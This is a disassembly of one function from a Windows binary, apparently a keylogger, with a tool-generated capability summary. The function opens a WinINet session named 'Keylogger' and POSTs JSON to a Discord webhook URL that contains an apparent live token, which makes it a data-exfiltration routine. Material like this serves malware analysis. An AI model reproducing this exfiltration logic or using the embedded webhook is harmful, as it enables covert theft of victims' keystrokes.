Function at 0x140011636
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
jmp 0x140019c70
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x268
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x5a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x288]
mov rax, qword [0x140032040]
xor rax, rbp
mov qword [rbp + 0x210], rax
lea rcx, [0x14003b0f9]
call fcn.1400119d3
nop
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Keylogger
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140019ce7
jmp 0x140019ecf
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8w, 0x1bb
lea rdx, str.discord.com
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140019d3d
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
jmp 0x140019ecf
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str._api_webhooks_1289362668494524496_ylbDPzMnr1t74pOblh_GLnNyNP4mHbUHZKGH2yXv6gkh6Ga0YXL0SBTBNHZs6F_0auEC
lea rdx, str.POST
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x140019da1
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
jmp 0x140019ecf
lea rdx, str.Content_Type:_application_json_r_n
lea rcx, [rbp + 0x68]
call fcn.140011456
nop
mov r8, qword [rbp + 0x240]
lea rdx, str._content_:_
lea rcx, [rbp + 0x1c8]
call fcn.140011069
mov qword [rbp + 0x1f8], rax
mov rax, qword [rbp + 0x1f8]
mov qword [rbp + 0x200], rax
lea r8, [0x14002cc20]
mov rdx, qword [rbp + 0x200]
lea rcx, [rbp + 0xa8]
call fcn.140011924
nop
lea rcx, [rbp + 0x1c8]
call fcn.1400111cc
nop
lea rcx, [rbp + 0xa8]
call fcn.140011870
mov qword [rbp + 0x1f8], rax
lea rcx, [rbp + 0xa8]
call fcn.1400110ff
mov qword [rbp + 0x200], rax
lea rcx, [rbp + 0x68]
call fcn.140011870
mov qword [rbp + 0x208], rax
lea rcx, [rbp + 0x68]
call fcn.1400110ff
mov rcx, qword [rbp + 0x1f8]
mov dword [rsp + 0x20], ecx
mov rcx, qword [rbp + 0x200]
mov r9, rcx
mov rcx, qword [rbp + 0x208]
mov r8d, ecx
mov rdx, rax
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov dword [rbp + 0xe4], eax
cmp dword [rbp + 0xe4], 0
jne 0x140019e97
lea rdx, str.Failed_to_send_request_to_Discord._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011127
nop
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
lea rcx, [rbp + 0xa8]
call fcn.1400111cc
nop
lea rcx, [rbp + 0x68]
call fcn.1400111cc
nop
lea rcx, [rbp - 0x40]
lea rdx, [0x14002be70]
call fcn.14001182a
mov rcx, qword [rbp + 0x210]
xor rcx, rbp
call fcn.1400114ba
lea rsp, [rbp + 0x228]
pop rdi
pop rbp
ret